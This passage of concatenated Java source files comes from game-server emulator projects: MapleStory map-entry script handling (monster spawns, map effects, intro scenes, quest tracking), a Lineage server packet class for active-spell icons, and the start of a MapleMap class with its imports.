c.getPlayer().getMap().startMapEffect("Please, protect my love!", 5120021);
break;
}
break;
}
case StageMsg_juliet: {
switch (c.getPlayer().getMapId()) {
case 926110000:
c.getPlayer().getMap().startMapEffect("Please find the hidden door by investigating the Lab!", 5120022);
break;
case 926110001:
c.getPlayer().getMap().startMapEffect("Find your way through this darkness!", 5120022);
break;
case 926110100:
c.getPlayer().getMap().startMapEffect("Fill the beakers to power the energy!", 5120022);
break;
case 926110200:
c.getPlayer().getMap().startMapEffect("Get the files for the experiment through each door!", 5120022);
break;
case 926110203:
c.getPlayer().getMap().startMapEffect("Please defeat all the monsters!", 5120022);
break;
case 926110300:
c.getPlayer().getMap().startMapEffect("Find your way through the Lab!", 5120022);
break;
case 926110401:
c.getPlayer().getMap().startMapEffect("Please, protect my love!", 5120022);
break;
}
break;
}
case party6weatherMsg: {
switch (c.getPlayer().getMapId()) {
case 930000000:
c.getPlayer().getMap().startMapEffect("進入傳送點,我要對你們施放變身魔法了!", 5120023);
break;
case 930000100:
c.getPlayer().getMap().startMapEffect("消滅所有怪物!", 5120023);
break;
case 930000200:
c.getPlayer().getMap().startMapEffect("對荊棘施放稀釋的毒液4個!", 5120023);
break;
case 930000300:
c.getPlayer().getMap().startMapEffect("我迷路了...", 5120023);
break;
case 930000400:
c.getPlayer().getMap().startMapEffect("拿淨化之珠後拿10個怪物株給我!", 5120023);
break;
case 930000500:
c.getPlayer().getMap().startMapEffect("從怪人書桌中尋找紫色魔力石!", 5120023);
break;
case 930000600:
c.getPlayer().getMap().startMapEffect("將紫色魔力石放在祭壇上!", 5120023);
break;
}
break;
}
case StageMsg_davy: {
switch (c.getPlayer().getMapId()) {
case 925100000:
c.getPlayer().getMap().startMapEffect("Defeat the monsters outside of the ship to advance!", 5120020);
break;
case 925100100:
c.getPlayer().getMap().startMapEffect("We must prove ourselves! Get me Pirate Medals!", 5120020);
break;
case 925100200:
c.getPlayer().getMap().startMapEffect("Defeat the guards here to pass!", 5120020);
break;
case 925100300:
c.getPlayer().getMap().startMapEffect("Eliminate the guards here to pass!", 5120020);
break;
case 925100400:
c.getPlayer().getMap().startMapEffect("Lock the doors! Seal the root of the Ship's power!", 5120020);
break;
case 925100500:
c.getPlayer().getMap().startMapEffect("Destroy the Lord Pirate!", 5120020);
break;
}
final EventManager em = c.getChannelServer().getEventSM().getEventManager("Pirate");
if (c.getPlayer().getMapId() == 925100500 && em != null && em.getProperty("stage5") != null) {
int mobId = Randomizer.nextBoolean() ? 9300119 : 9300119; //lord pirate
final int st = Integer.parseInt(em.getProperty("stage5"));
switch (st) {
case 1:
mobId = /*Randomizer.nextBoolean() ? 9300119 : */ 9300105; //angry
break;
case 2:
mobId = /*Randomizer.nextBoolean() ? */ 9300106/* : 9300105*/; //enraged
break;
}
final MapleMonster shammos = MapleLifeFactory.getMonster(mobId);
if (c.getPlayer().getEventInstance() != null) {
c.getPlayer().getEventInstance().registerMonster(shammos);
}
c.getPlayer().getMap().spawnMonsterOnGroundBelow(shammos, new Point(411, 236));
}
break;
}
case astaroth_summon: {
c.getPlayer().getMap().resetFully();
c.getPlayer().getMap().spawnMonsterOnGroundBelow(MapleLifeFactory.getMonster(9400633), new Point(600, -26)); //rough estimate
break;
}
case boss_Ravana: { //event handles this so nothing for now until i find out something to do with it
c.getPlayer().getMap().broadcastMessage(MaplePacketCreator.serverNotice(5, "Ravana has appeared!"));
break;
}
case killing_BonusSetting: { //spawns monsters according to mapid
//910320010-910320029 = Train 999 bubblings.
//926010010-926010029 = 30 Yetis
//926010030-926010049 = 35 Yetis
//926010050-926010069 = 40 Yetis
//926010070-926010089 - 50 Yetis (specialized? immortality)
//TODO also find positions to spawn these at
c.getPlayer().getMap().resetFully();
c.sendPacket(MaplePacketCreator.showEffect("killing/bonus/bonus"));
c.sendPacket(MaplePacketCreator.showEffect("killing/bonus/stage"));
Point pos1 = null, pos2 = null, pos3 = null;
int spawnPer = 0;
int mobId = 0;
//9700019, 9700029
//9700021 = one thats invincible
if (c.getPlayer().getMapId() >= 910320010 && c.getPlayer().getMapId() <= 910320029) {
pos1 = new Point(121, 218);
pos2 = new Point(396, 43);
pos3 = new Point(-63, 43);
mobId = 9700020;
spawnPer = 10;
} else if (c.getPlayer().getMapId() >= 926010010 && c.getPlayer().getMapId() <= 926010029) {
pos1 = new Point(0, 88);
pos2 = new Point(-326, -115);
pos3 = new Point(361, -115);
mobId = 9700019;
spawnPer = 10;
} else if (c.getPlayer().getMapId() >= 926010030 && c.getPlayer().getMapId() <= 926010049) {
pos1 = new Point(0, 88);
pos2 = new Point(-326, -115);
pos3 = new Point(361, -115);
mobId = 9700019;
spawnPer = 15;
} else if (c.getPlayer().getMapId() >= 926010050 && c.getPlayer().getMapId() <= 926010069) {
pos1 = new Point(0, 88);
pos2 = new Point(-326, -115);
pos3 = new Point(361, -115);
mobId = 9700019;
spawnPer = 20;
} else if (c.getPlayer().getMapId() >= 926010070 && c.getPlayer().getMapId() <= 926010089) {
pos1 = new Point(0, 88);
pos2 = new Point(-326, -115);
pos3 = new Point(361, -115);
mobId = 9700029;
spawnPer = 20;
} else {
break;
}
for (int i = 0; i < spawnPer; i++) {
c.getPlayer().getMap().spawnMonsterOnGroundBelow(MapleLifeFactory.getMonster(mobId), new Point(pos1));
c.getPlayer().getMap().spawnMonsterOnGroundBelow(MapleLifeFactory.getMonster(mobId), new Point(pos2));
c.getPlayer().getMap().spawnMonsterOnGroundBelow(MapleLifeFactory.getMonster(mobId), new Point(pos3));
}
c.getPlayer().startMapTimeLimitTask(120, c.getPlayer().getMap().getReturnMap());
break;
}
case shammos_Fenter: {
if (c.getPlayer().getMapId() >= 921120100 && c.getPlayer().getMapId() < 921120500) {
final MapleMonster shammos = MapleLifeFactory.getMonster(9300275);
if (c.getPlayer().getEventInstance() != null) {
c.getPlayer().getEventInstance().registerMonster(shammos);
if (c.getPlayer().getEventInstance().getProperty("HP") != null) {
shammos.setHp(Long.parseLong(c.getPlayer().getEventInstance().getProperty("HP")));
} else {
c.getPlayer().getEventInstance().setProperty("HP", "50000");
}
}
c.getPlayer().getMap().spawnMonsterWithEffectBelow(shammos, new Point(c.getPlayer().getMap().getPortal(0).getPosition()), 12);
shammos.switchController(c.getPlayer(), false);
c.sendPacket(MaplePacketCreator.getNodeProperties(shammos, c.getPlayer().getMap()));
}
break;
}
case PRaid_D_Fenter: {
switch (c.getPlayer().getMapId() % 10) {
case 0:
c.getPlayer().getMap().startMapEffect("Eliminate all the monsters!", 5120033);
break;
case 1:
c.getPlayer().getMap().startMapEffect("Break the boxes and eliminate the monsters!", 5120033);
break;
case 2:
c.getPlayer().getMap().startMapEffect("Eliminate the Officer!", 5120033);
break;
case 3:
c.getPlayer().getMap().startMapEffect("Eliminate all the monsters!", 5120033);
break;
case 4:
c.getPlayer().getMap().startMapEffect("Find the way to the other side!", 5120033);
break;
}
break;
}
case PRaid_B_Fenter: {
c.getPlayer().getMap().startMapEffect("Defeat the Ghost Ship Captain!", 5120033);
break;
}
case balog_summon:
case easy_balog_summon: { //we dont want to reset
break;
}
case metro_firstSetting:
case killing_MapSetting:
case Sky_TrapFEnter:
case balog_bonusSetting: { //not needed
c.getPlayer().getMap().resetFully();
break;
}
default: {
System.out.println("未處理的腳本 : " + scriptName + ", 型態 : onUserEnter - 地圖ID " + c.getPlayer().getMapId());
FileoutputUtil.log(FileoutputUtil.ScriptEx_Log, "未處理的腳本 : " + scriptName + ", 型態 : onUserEnter - 地圖ID " + c.getPlayer().getMapId());
break;
}
}
}
public static void startScript_User(MapleClient c, String scriptName) {
if (c.getPlayer() == null) {
return;
} //o_O
String data = "";
switch (onUserEnter.fromString(scriptName)) {
case cygnusTest:
case cygnusJobTutorial: {
showIntro(c, "Effect/Direction.img/cygnusJobTutorial/Scene" + (c.getPlayer().getMapId() - 913040100));
break;
}
case shammos_Enter: { //nothing to go on inside the map
c.sendPacket(MaplePacketCreator.sendPyramidEnergy("shammos_LastStage", String.valueOf((c.getPlayer().getMapId() % 1000) / 100)));
if (c.getPlayer().getEventInstance() != null && c.getPlayer().getMapId() == 921120500) {
NPCScriptManager.getInstance().dispose(c); //only boss map.
NPCScriptManager.getInstance().start(c, 2022006);
}
break;
}
case start_itemTake: { //nothing to go on inside the map
final EventManager em = c.getChannelServer().getEventSM().getEventManager("OrbisPQ");
if (em != null && em.getProperty("pre").equals("0")) {
NPCScriptManager.getInstance().dispose(c);
NPCScriptManager.getInstance().start(c, 2013001);
}
break;
}
case PRaid_W_Enter: {
c.sendPacket(MaplePacketCreator.sendPyramidEnergy("PRaid_expPenalty", "0"));
c.sendPacket(MaplePacketCreator.sendPyramidEnergy("PRaid_ElapssedTimeAtField", "0"));
c.sendPacket(MaplePacketCreator.sendPyramidEnergy("PRaid_Point", "-1"));
c.sendPacket(MaplePacketCreator.sendPyramidEnergy("PRaid_Bonus", "-1"));
c.sendPacket(MaplePacketCreator.sendPyramidEnergy("PRaid_Total", "-1"));
c.sendPacket(MaplePacketCreator.sendPyramidEnergy("PRaid_Team", ""));
c.sendPacket(MaplePacketCreator.sendPyramidEnergy("PRaid_IsRevive", "0"));
c.getPlayer().writePoint("PRaid_Point", "-1");
c.getPlayer().writeStatus("Red_Stage", "1");
c.getPlayer().writeStatus("Blue_Stage", "1");
c.getPlayer().writeStatus("redTeamDamage", "0");
c.getPlayer().writeStatus("blueTeamDamage", "0");
break;
}
case PRaid_D_Enter:
case PRaid_B_Enter:
case PRaid_WinEnter: //handled by event
case PRaid_FailEnter: //also
case PRaid_Revive: //likely to subtract points or remove a life, but idc rly
case metro_firstSetting:
case blackSDI:
case summonIceWall:
case onSDI:
case enterBlackfrog:
case Sky_Quest: //forest that disappeared 240030102
case dollCave00:
case dollCave01:
case shammos_Base:
case shammos_Result:
case Sky_BossEnter:
case Sky_GateMapEnter:
case balog_dateSet:
case balog_buff:
case outCase:
case Sky_StageEnter:
case dojang_QcheckSet:
case evanTogether:
case aranTutorAlone:
case Ghost: {
c.getPlayer().getMap().startMapEffect("這裡感覺怪陰森的...", 5120025);
break;
}
case evanAlone: { //no idea
c.sendPacket(MaplePacketCreator.enableActions());
break;
}
case startEreb:
case mirrorCave:
case babyPigMap:
case evanleaveD: {
c.sendPacket(UIPacket.IntroDisableUI(false));
c.sendPacket(UIPacket.IntroLock(false));
c.sendPacket(MaplePacketCreator.enableActions());
break;
}
case dojang_Msg: {
c.getPlayer().getMap().startMapEffect(mulungEffects[Randomizer.nextInt(mulungEffects.length)], 5120024);
break;
}
case dojang_1st: {
c.getPlayer().writeMulungEnergy();
break;
}
case undomorphdarco:
case reundodraco: {
c.getPlayer().cancelEffect(MapleItemInformationProvider.getInstance().getItemEffect(2210016), false, -1);
break;
}
case goAdventure: {
// BUG in MSEA v.91, so let's skip this part.
showIntro(c, "Effect/Direction3.img/goAdventure/Scene" + (c.getPlayer().getGender() == 0 ? "0" : "1"));
break;
}
case crash_Dragon:
showIntro(c, "Effect/Direction4.img/crash/Scene" + (c.getPlayer().getGender() == 0 ? "0" : "1"));
break;
case getDragonEgg:
showIntro(c, "Effect/Direction4.img/getDragonEgg/Scene" + (c.getPlayer().getGender() == 0 ? "0" : "1"));
break;
case meetWithDragon:
showIntro(c, "Effect/Direction4.img/meetWithDragon/Scene" + (c.getPlayer().getGender() == 0 ? "0" : "1"));
break;
case PromiseDragon:
showIntro(c, "Effect/Direction4.img/PromiseDragon/Scene" + (c.getPlayer().getGender() == 0 ? "0" : "1"));
break;
case evanPromotion:
switch (c.getPlayer().getMapId()) {
case 900090000:
data = "Effect/Direction4.img/promotion/Scene0" + (c.getPlayer().getGender() == 0 ? "0" : "1");
break;
case 900090001:
data = "Effect/Direction4.img/promotion/Scene1";
break;
case 900090002:
data = "Effect/Direction4.img/promotion/Scene2" + (c.getPlayer().getGender() == 0 ? "0" : "1");
break;
case 900090003:
data = "Effect/Direction4.img/promotion/Scene3";
break;
case 900090004:
c.sendPacket(UIPacket.IntroDisableUI(false));
c.sendPacket(UIPacket.IntroLock(false));
c.sendPacket(MaplePacketCreator.enableActions());
final MapleMap mapto = c.getChannelServer().getMapFactory().getMap(900010000);
c.getPlayer().changeMap(mapto, mapto.getPortal(0));
return;
}
showIntro(c, data);
break;
case TD_MC_title: {
c.sendPacket(UIPacket.IntroDisableUI(false));
c.sendPacket(UIPacket.IntroLock(false));
c.sendPacket(MaplePacketCreator.enableActions());
c.sendPacket(UIPacket.MapEff("temaD/enter/mushCatle"));
break;
}
case explorationPoint: {
if (c.getPlayer().getMapId() == 104000000) {
c.sendPacket(UIPacket.IntroDisableUI(false));
c.sendPacket(UIPacket.IntroLock(false));
c.sendPacket(MaplePacketCreator.enableActions());
c.sendPacket(UIPacket.MapNameDisplay(c.getPlayer().getMapId()));
}
MedalQuest m = null;
for (MedalQuest mq : MedalQuest.values()) {
for (int i : mq.maps) {
if (c.getPlayer().getMapId() == i) {
m = mq;
break;
}
}
}
if (m != null && c.getPlayer().getLevel() >= m.level && c.getPlayer().getQuestStatus(m.questid) != 2) {
if (c.getPlayer().getQuestStatus(m.lquestid) != 1) {
MapleQuest.getInstance(m.lquestid).forceStart(c.getPlayer(), 0, "0");
}
if (c.getPlayer().getQuestStatus(m.questid) != 1) {
MapleQuest.getInstance(m.questid).forceStart(c.getPlayer(), 0, null);
final StringBuilder sb = new StringBuilder("enter=");
for (int i = 0; i < m.maps.length; i++) {
sb.append("0");
}
c.getPlayer().updateInfoQuest(m.questid - 2005, sb.toString());
MapleQuest.getInstance(m.questid - 1995).forceStart(c.getPlayer(), 0, "0");
}
final String quest = c.getPlayer().getInfoQuest(m.questid - 2005);
final MapleQuestStatus stat = c.getPlayer().getQuestNAdd(MapleQuest.getInstance(m.questid - 1995));
if (stat.getCustomData() == null) { //just a check.
stat.setCustomData("0");
}
int number = Integer.parseInt(stat.getCustomData());
final StringBuilder sb = new StringBuilder("enter=");
boolean changedd = false;
for (int i = 0; i < m.maps.length; i++) {
boolean changed = false;
if (c.getPlayer().getMapId() == m.maps[i]) {
if (quest.substring(i + 6, i + 7).equals("0")) {
sb.append("1");
changed = true;
changedd = true;
}
}
if (!changed) {
sb.append(quest.substring(i + 6, i + 7));
}
}
if (changedd) {
number++;
c.getPlayer().updateInfoQuest(m.questid - 2005, sb.toString());
MapleQuest.getInstance(m.questid - 1995).forceStart(c.getPlayer(), 0, String.valueOf(number));
c.getPlayer().dropMessage(-1, "訪問 " + number + "/" + m.maps.length + " 個地區.");
c.getPlayer().dropMessage(-1, "稱號 " + String.valueOf(m) + " 已完成了");
c.sendPacket(MaplePacketCreator.showQuestMsg("稱號 " + String.valueOf(m) + " 已完成訪問 " + number + "/" + m.maps.length + " 個地區"));
}
}
break;
}
case go10000:
case go1020000:
c.sendPacket(UIPacket.IntroDisableUI(false));
c.sendPacket(UIPacket.IntroLock(false));
c.sendPacket(MaplePacketCreator.enableActions());
case go20000:
case go30000:
case go40000:
case go50000:
case go1000000:
case go2000000:
case go1010000:
case go1010100:
case go1010200:
case go1010300:
case go1010400: {
c.sendPacket(UIPacket.MapNameDisplay(c.getPlayer().getMapId()));
break;
}
case goArcher: {
showIntro(c, "Effect/Direction3.img/archer/Scene" + (c.getPlayer().getGender() == 0 ? "0" : "1"));
break;
}
case goPirate: {
showIntro(c, "Effect/Direction3.img/pirate/Scene" + (c.getPlayer().getGender() == 0 ? "0" : "1"));
break;
}
case goRogue: {
showIntro(c, "Effect/Direction3.img/rogue/Scene" + (c.getPlayer().getGender() == 0 ? "0" : "1"));
break;
}
case goMagician: {
showIntro(c, "Effect/Direction3.img/magician/Scene" + (c.getPlayer().getGender() == 0 ? "0" : "1"));
break;
}
case goSwordman: {
showIntro(c, "Effect/Direction3.img/swordman/Scene" + (c.getPlayer().getGender() == 0 ? "0" : "1"));
break;
}
case goLith: {
showIntro(c, "Effect/Direction3.img/goLith/Scene" + (c.getPlayer().getGender() == 0 ? "0" : "1"));
break;
}
case TD_MC_Openning: {
showIntro(c, "Effect/Direction2.img/open");
break;
}
case TD_MC_gasi: {
showIntro(c, "Effect/Direction2.img/gasi");
break;
}
case aranDirection: {
switch (c.getPlayer().getMapId()) {
case 914090010:
data = "Effect/Direction1.img/aranTutorial/Scene0";
break;
case 914090011:
data = "Effect/Direction1.img/aranTutorial/Scene1" + (c.getPlayer().getGender() == 0 ? "0" : "1");
break;
case 914090012:
data = "Effect/Direction1.img/aranTutorial/Scene2" + (c.getPlayer().getGender() == 0 ? "0" : "1");
break;
case 914090013:
data = "Effect/Direction1.img/aranTutorial/Scene3";
break;
case 914090100:
data = "Effect/Direction1.img/aranTutorial/HandedPoleArm" + (c.getPlayer().getGender() == 0 ? "0" : "1");
break;
case 914090200:
data = "Effect/Direction1.img/aranTutorial/Maha";
break;
}
showIntro(c, data);
break;
}
case iceCave: {
c.getPlayer().changeSkillLevel(SkillFactory.getSkill(20000014), (byte) -1, (byte) 0);
c.getPlayer().changeSkillLevel(SkillFactory.getSkill(20000015), (byte) -1, (byte) 0);
c.getPlayer().changeSkillLevel(SkillFactory.getSkill(20000016), (byte) -1, (byte) 0);
c.getPlayer().changeSkillLevel(SkillFactory.getSkill(20000017), (byte) -1, (byte) 0);
c.getPlayer().changeSkillLevel(SkillFactory.getSkill(20000018), (byte) -1, (byte) 0);
c.sendPacket(UIPacket.ShowWZEffect("Effect/Direction1.img/aranTutorial/ClickLirin"));
c.sendPacket(UIPacket.IntroDisableUI(false));
c.sendPacket(UIPacket.IntroLock(false));
c.sendPacket(MaplePacketCreator.enableActions());
break;
}
case rienArrow: {
if (c.getPlayer().getInfoQuest(21019).equals("miss=o;helper=clear")) {
c.getPlayer().updateInfoQuest(21019, "miss=o;arr=o;helper=clear");
c.sendPacket(UIPacket.AranTutInstructionalBalloon("Effect/OnUserEff.img/guideEffect/aranTutorial/tutorialArrow3"));
}
break;
}
case rien: {
if (c.getPlayer().getQuestStatus(21101) == 2 && c.getPlayer().getInfoQuest(21019).equals("miss=o;arr=o;helper=clear")) {
c.getPlayer().updateInfoQuest(21019, "miss=o;arr=o;ck=1;helper=clear");
}
c.sendPacket(UIPacket.IntroDisableUI(false));
c.sendPacket(UIPacket.IntroLock(false));
break;
}
case check_count: {
if (c.getPlayer().getMapId() == 950101010 && (!c.getPlayer().haveItem(4001433, 20) || c.getPlayer().getLevel() < 50)) { //ravana Map
final MapleMap mapp = c.getChannelServer().getMapFactory().getMap(950101100); //exit Map
c.getPlayer().changeMap(mapp, mapp.getPortal(0));
}
break;
}
case Massacre_first: { //sends a whole bunch of shit.
if (c.getPlayer().getPyramidSubway() == null) {
c.getPlayer().setPyramidSubway(new Event_PyramidSubway(c.getPlayer()));
}
break;
}
case Massacre_result: { //clear, give exp, etc.
//if (c.getPlayer().getPyramidSubway() == null) {
c.sendPacket(MaplePacketCreator.showEffect("killing/fail"));
//} else {
// c.sendPacket(MaplePacketCreator.showEffect("killing/clear"));
//}
//left blank because pyramidsubway handles this.
break;
}
default: {
System.out.println("未處理的腳本 : " + scriptName + ", 型態 : onUserEnter - 地圖ID " + c.getPlayer().getMapId());
FileoutputUtil.log(FileoutputUtil.ScriptEx_Log, "未處理的腳本 : " + scriptName + ", 型態 : onUserEnter - 地圖ID " + c.getPlayer().getMapId());
break;
}
}
}
private static final int getTiming(int ids) {
if (ids <= 5) {
return 5;
} else if (ids >= 7 && ids <= 11) {
return 6;
} else if (ids >= 13 && ids <= 17) {
return 7;
} else if (ids >= 19 && ids <= 23) {
return 8;
} else if (ids >= 25 && ids <= 29) {
return 9;
} else if (ids >= 31 && ids <= 35) {
return 10;
} else if (ids >= 37 && ids <= 38) {
return 15;
}
return 0;
}
private static final int getDojoStageDec(int ids) {
if (ids <= 5) {
return 0;
} else if (ids >= 7 && ids <= 11) {
return 1;
} else if (ids >= 13 && ids <= 17) {
return 2;
} else if (ids >= 19 && ids <= 23) {
return 3;
} else if (ids >= 25 && ids <= 29) {
return 4;
} else if (ids >= 31 && ids <= 35) {
return 5;
} else if (ids >= 37 && ids <= 38) {
return 6;
}
return 0;
}
private static void showIntro(final MapleClient c, final String data) {
c.sendPacket(UIPacket.IntroDisableUI(true));
c.sendPacket(UIPacket.IntroLock(true));
c.sendPacket(UIPacket.ShowWZEffect(data));
}
private static void sendDojoClock(MapleClient c, int time) {
c.sendPacket(MaplePacketCreator.getClock(time));
}
private static void sendDojoStart(MapleClient c, int stage) {
c.sendPacket(MaplePacketCreator.environmentChange("Dojang/start", 4));
c.sendPacket(MaplePacketCreator.environmentChange("dojang/start/stage", 3));
c.sendPacket(MaplePacketCreator.environmentChange("dojang/start/number/" + stage, 3));
c.sendPacket(MaplePacketCreator.trembleEffect(0, 1));
}
private static void handlePinkBeanStart(MapleClient c) {
final MapleMap map = c.getPlayer().getMap();
map.resetFully();
if (!map.containsNPC(2141000)) {
map.spawnNpc(2141000, new Point(-190, -42));
}
}
private static void reloadWitchTower(MapleClient c) {
final MapleMap map = c.getPlayer().getMap();
map.killAllMonsters(false);
final int level = c.getPlayer().getLevel();
int mob;
if (level <= 10) {
mob = 9300367;
} else if (level <= 20) {
mob = 9300368;
} else if (level <= 30) {
mob = 9300369;
} else if (level <= 40) {
mob = 9300370;
} else if (level <= 50) {
mob = 9300371;
} else if (level <= 60) {
mob = 9300372;
} else if (level <= 70) {
mob = 9300373;
} else if (level <= 80) {
mob = 9300374;
} else if (level <= 90) {
mob = 9300375;
} else if (level <= 100) {
mob = 9300376;
} else {
mob = 9300377;
}
map.spawnMonsterOnGroundBelow(MapleLifeFactory.getMonster(mob), witchTowerPos);
}
}
| D363N6UY/MapleStory-v113-Server-Eimulator | src/server/maps/MapScriptMethods.java |
65,421 | /*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2, or (at your option)
* any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* http://www.gnu.org/copyleft/gpl.html
*/
package net.l1j.server.serverpackets;
import net.l1j.server.Opcodes;
import net.l1j.server.model.instance.L1PcInstance;
import net.l1j.util.RandomArrayList;
public class S_ActiveSpells extends ServerBasePacket {
// [Length:72] S -> C
// 0000 77 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 w...............
// 0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
// 0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
// 0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 ...............x
// 0040 00 00 00 00 00 00 03 7F .......
// [Length:8] S -> C
// 0000 7A DD F2 50 00 C6 1B 6A z..P...j
public S_ActiveSpells(L1PcInstance pc) {
writeC(Opcodes.S_OPCODE_ACTIVESPELLS);
writeC(0x14);
// 1~10
writeH(0x0000); // 冥想術
writeH(0x0000); // 負重強化
writeH(0x0000);
writeH(0x0000);
writeH(0x0000);
writeH(0x0000);
writeH(0x0000);
writeH(0x0000);
writeH(0x0000);
writeH(0x0000);
// 11~20
writeH(0x0000);
writeH(0x0000);
writeH(0x0000);
writeH(0x0000);
writeH(0x0000);
writeH(0x0000);
writeH(0x0000);
writeH(0x0000);
writeH(0x0000);
writeH(0x0000);
// 21~30
writeH(0x0000);
writeH(0x0000);
writeH(0x0000);
writeH(0x0000);
writeH(0x0000);
writeH(0x0000);
writeH(0x0000);
writeH(0x0000);
writeH(0x0000);
writeH(0x0000);
// 31~34
writeH(0x0000);
writeH(0x0000);
writeH(0x0000);
writeH(0x0000);
}
/*
* S_PacketBox.java
* 24, 血盟成員清單
* 44, 風之枷鎖
* 56, 魔法娃娃圖示
* 60, 勇水?
* 62, 同盟清單
* 64, 遊戲1
* 65, 遊戲1 - 開始計時
* 66, 遊戲1 - 人數與名次
* 67, 遊戲1 - 地圖
* 69, 遊戲 - 訊息
* 70, 遊戲1 - 結束
* 71, 遊戲2 - 開始
* 72, 遊戲2 - 結束
*/
public S_ActiveSpells(L1PcInstance pc, int offset) {
int[] UByte8 = new int[68];
byte[] randBox = new byte[2];
RandomArrayList.getByte(randBox);
writeC(Opcodes.S_OPCODE_ACTIVESPELLS);
writeC(0x14);
UByte8[offset] = 0x64; // 時間 * 4 [最大時間 1020]
for (int i : UByte8) {
writeC(i);
}
writeByte(randBox);
/**
* 圖示集
* 0.法師技能圖示(冥想術)
* 3.法師技能圖示(負重強化)
* 4.法師技能圖示(藥水霜化術(會將負重強化圖示去掉))
* 5.法師技能圖示(絕對屏障)
* 6.法師技能圖示(魔法封印圖示(但說明是藥水霜化術))
* 7.黑妖技能圖示(毒性抵抗)
* 8.法師技能圖示(弱化術)
* 9.法師技能圖示(疾病術)
* 17.黑妖技能圖示(閃避提升)
* 18.法師技能圖示(狂暴術)
* 19.妖精技能圖示(生命之泉)
* 20.妖精技能圖示(風之枷鎖)
* 21.妖精技能圖示(魔法消除)
* 22.妖精技能圖示((弱化術的圖示(但說明是鏡反射))
* 23.妖精技能圖示(能量激發的圖示(說明是體能激發))
* 24.妖精技能圖示(弱化屬性)
* 26.妖精技能圖示(屬性之火)
* 28.未知用途圖示(火焰之影會導致敵人發現我們)
* 30.妖精技能圖示(精準射擊)
* 31.妖精技能圖示(烈焰之魂)
* 32.妖精技能圖示(污濁之水)
* 36.料理圖示(屬性抵抗力提升10)
* 44.道具圖示(慎重藥水)
* 45.道具圖示(經驗值+20%)
* 46.道具圖示(體力上限+50,體力回復+4)
* 52.幻術師技能圖示(感覺集中精神力變得簡單了)
* 53.幻術師技能圖示(極度喜愛觀察能力)
* 54.幻術師技能圖示(進入恐慌狀態)
* 55.龍騎士技能圖示(開始覺得熱血)
* 56.龍騎士技能圖示(產生極度害怕的感覺)
* 57.龍騎士技能圖示(感到害怕到發抖)
* 58.幻術師技能圖示(容易抑制痛苦)
* 59.龍騎士技能圖示(突然覺得盔甲重得讓人腳步緩慢)
* 60.龍騎士技能圖示(皮膚變得很僵硬)
* 61.道具圖示(移動速度將要變快)
*/
}
@Override
public byte[] getContent() {
return getBytes();
}
}
| L1Rj/L1j-TW | src/net/l1j/server/serverpackets/S_ActiveSpells.java |
65,422 | /*
This file is part of the OdinMS Maple Story Server
Copyright (C) 2008 ~ 2010 Patrick Huy <[email protected]>
Matthias Butz <[email protected]>
Jan Christian Meyer <[email protected]>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License version 3
as published by the Free Software Foundation. You may not use, modify
or distribute this program under any other version of the
GNU Affero General Public License.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package server.maps;
import scripting.MapScriptMethods;
import client.MapleBuffStat;
import client.MapleCharacter;
import client.MapleClient;
import client.MapleJob;
import client.MonsterFamiliar;
import client.MonsterStatus;
import client.MonsterStatusEffect;
import client.inventory.Equip;
import client.inventory.Item;
import client.inventory.MapleInventoryType;
import client.inventory.MaplePet;
import constants.GameConstants;
import constants.QuickMove;
import constants.QuickMove.QuickMoveNPC;
import constants.ZZMSConfig;
import database.DatabaseConnection;
import handling.channel.ChannelServer;
import handling.world.PartyOperation;
import handling.world.World;
import handling.world.exped.ExpeditionType;
import java.awt.Point;
import java.awt.Rectangle;
import java.lang.ref.WeakReference;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Calendar;
import java.util.Collection;
import java.util.Collections;
import java.util.EnumMap;
import java.util.HashMap;
import java.util.Iterator;
import java.util.LinkedHashMap;
import java.util.LinkedList;
import java.util.List;
import java.util.Map;
import java.util.concurrent.ScheduledFuture;
import java.util.concurrent.atomic.AtomicInteger;
import java.util.concurrent.locks.Lock;
import java.util.concurrent.locks.ReentrantLock;
import java.util.concurrent.locks.ReentrantReadWriteLock;
import scripting.EventManager;
import scripting.NPCConversationManager;
import scripting.NPCScriptManager;
import server.MapleCarnivalFactory;
import server.MapleCarnivalFactory.MCSkill;
import server.MapleInventoryManipulator;
import server.MapleItemInformationProvider;
import server.MaplePortal;
import server.MapleSquad;
import server.MapleSquad.MapleSquadType;
import server.MapleStatEffect;
import server.Randomizer;
import server.SpeedRunner;
import server.Timer.EtcTimer;
import server.Timer.MapTimer;
import server.events.MapleEvent;
import server.life.MapleLifeFactory;
import server.life.MapleMonster;
import server.life.MapleMonsterInformationProvider;
import server.life.MapleNPC;
import server.life.MonsterDropEntry;
import server.life.MonsterGlobalDropEntry;
import server.life.SpawnPoint;
import server.life.SpawnPointAreaBoss;
import server.life.Spawns;
import server.maps.MapleNodes.DirectionInfo;
import server.maps.MapleNodes.MapleNodeInfo;
import server.maps.MapleNodes.MaplePlatform;
import server.maps.MapleNodes.MonsterPoint;
import server.quest.MapleQuest;
import tools.FileoutputUtil;
import tools.Pair;
import tools.StringUtil;
import tools.packet.CField;
import tools.packet.CField.EffectPacket;
import tools.packet.CField.NPCPacket;
import tools.packet.CField.SummonPacket;
import tools.packet.MobPacket;
import tools.packet.PetPacket;
import tools.packet.CWvsContext;
import tools.packet.CWvsContext.PartyPacket;
import tools.packet.JobPacket.PhantomPacket;
import tools.packet.provider.SpecialEffectType;
import scripting.EventInstanceManager;
public final class MapleMap {
/*
* Holds mappings of OID -> MapleMapObject separated by MapleMapObjectType.
